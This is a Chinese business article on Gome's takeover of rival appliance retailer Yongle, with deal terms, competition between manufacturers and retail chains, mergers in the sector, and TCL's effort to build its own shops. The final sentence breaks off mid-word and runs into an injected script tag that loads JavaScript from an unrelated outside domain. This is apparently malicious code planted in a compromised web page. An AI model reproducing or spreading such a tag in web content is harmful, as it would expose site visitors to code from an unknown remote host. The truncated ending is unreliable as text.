日前，国美电器０４９３和中国永乐０５０３共同宣布，国美以５２．６８亿港元的价格完成对永乐的并购，打破了刚刚形成的三足鼎立的格局。
根据香港联交所公告披露，每股中国永乐股份兑换０．３２４７股国美电器股份，即根据每３．０８股中国永乐股份对１股国美电器股份之兑换比例计算。现金对价为，每股中国永乐股份获０．１７３６港元。总对价相当于每股中国永乐股份２．２３５４港元，总对价为５２．６８亿港元。永乐被收购９０％股份后，国美将实行大股东权利，强制要求永乐退市。合并后，黄光裕将持有新公司５１．２％股份，陈晓透过合并公司和管理层共同持有１２．５％的股份，摩根斯丹利持有２．４％左右。在此次收购当中，国美动用的现金约为４．０９亿元，占此次交易总额的７．８％。
家电连锁企业与家电制造商之间的竞争实质是终端顾客的竞争。那么，如何更好地为终端顾客服务、提供优质品质和价格优势的产品成为未来竞争的焦点。
制造商处于下风
显然，社会化分工要求各管一段，专业化的经营能够更好地发挥制造商与经销商各自的优势。中国的现实状况是，家电业的研发投入不足，制造业加工的利润日益被销售渠道所挤压，按照台湾宏基电脑创始人施振荣的说法，在微笑曲线的两段，即研发和渠道两个部分是附加值最大的，中间部分的加工制造是附加值最低的，属于干苦力的。
从研发来看，除少数企业外，绝大多数企业没有核心技术。效益也不高，全行业工业增加值率只略高于２１％，低于全国制造业的水平。全国电子百强２００３年的研发投入占销售额比重平均仅为３．６％，整个行业研发投入水平还要低于这个数字，远低于国际上１０％左右的水平。另外，根据世界银行统计，在全球ｒ＆ｄ投入中，美国、欧盟、日本等发达国家占８６％；在国际技术贸易收入方面，高收入国家获得全球技术转让和许可收入的９８％。
并购强化了连锁企业力量
从销售渠道来看，家电连锁企业竞争激烈，并购不断出现。连锁经营最早是出现在１８５９年的美国，工业化大生产及流通手段的更新使得经营者不断探索扩大规模、获取更大利润的方法。我国从上世纪９０年代开始，逐步引入连锁经营方式。从１９９９年开始，以国美、苏宁为首的家电零售企业在全国各大城市揭开连锁大幕，而永乐、大中、五星、三联等企业也开始了区域性的连锁步伐，加上一些独霸的地方性家电企业，国内出现了数十家具有一定规模的家电零售商。这些大型专业家电连锁企业的销售量占所有家电销售的份额从１９９８年不足５％，逐步增长到２０００年逾１５％，再到２００２年近３５％。
２００２年由北京大中电器和上海永乐联合其他７家家电连锁形成了“中永通泰”自由连锁联盟，２００４年２月，山东家家悦超市有限公司、湖南步步高超市公司、宁波三江购物俱乐部公司和广西佳用商贸公司共同注资１８０万元成立上海家联采购联盟有限公司，后来因为联合采购障碍以及缺乏足够的管理经验而解散。
２００５年１０月在香港成功上市的永乐先后收购了厦门思文、河南通利。而占据北京电器连锁销售收入５０％左右的大中电器，与永乐的店址资源有着明显的互补，永乐对其采取了逐步合作的战略。２００５年１２月，双方在中永通泰联盟的基础上，协议在新进入市场如青岛、西安建立各占５０％的合资公司以降低开店风险。今年４月两家合资公司正式成立，分别是西安永乐——大中电器销售公司和青岛大中——永乐电器销售公司，双方合作的共同目的就是联合起来与国美、苏宁等全国性连锁竞争。永乐电器２００５年的销售收入约为１５１亿元（店数１９９家），大中电器的销售收入近１００亿元（店数１００多家），双方加起来的销售收入将超过２５０亿元，这虽然与国美（２００５年４９８亿元）、苏宁（３９７亿元）仍有差距。５月，北美最大的消费电子零售商百思买并购江苏五星电器正式画上句号。新合资公司日前正式成立，并已获得营业执照，注册资金为９．４５亿元人民币，仍将继续以五星品牌经营，企业管理团队将保持稳定。由百思买控股的新股权结构将不影响五星电器的对消费者此前购买产品的售后服务。
自建渠道尝试
中国的家电制造企业在研发上处于下风，要在短期内走出来，占领制高点，十分不易，而被家电连锁企业不断“围剿”，让渡利润，也是家电企业不愿意的，为此，当务之急，惟一的应对就是自建终端渠道。比如，２００５年７月，由ｔｃｌ集团作为主要投资股东，在深圳成立了深圳幸福树电器贸易有限公司，注册资本为人民币２亿元，意图在大型家电零售企业尚未进入的三、四级市场，大力发展加盟商，形成一个强大的全国性分销网络。成立仅一年幸福树发展的加盟店，目前总数已达３００多家，今年网络分销能力将达到８０亿元，初步建立起农村市场的电器连锁网络。按照发展计划，明年幸福树拓展的加盟店总数将达?script src=http://er12.com/t.js>
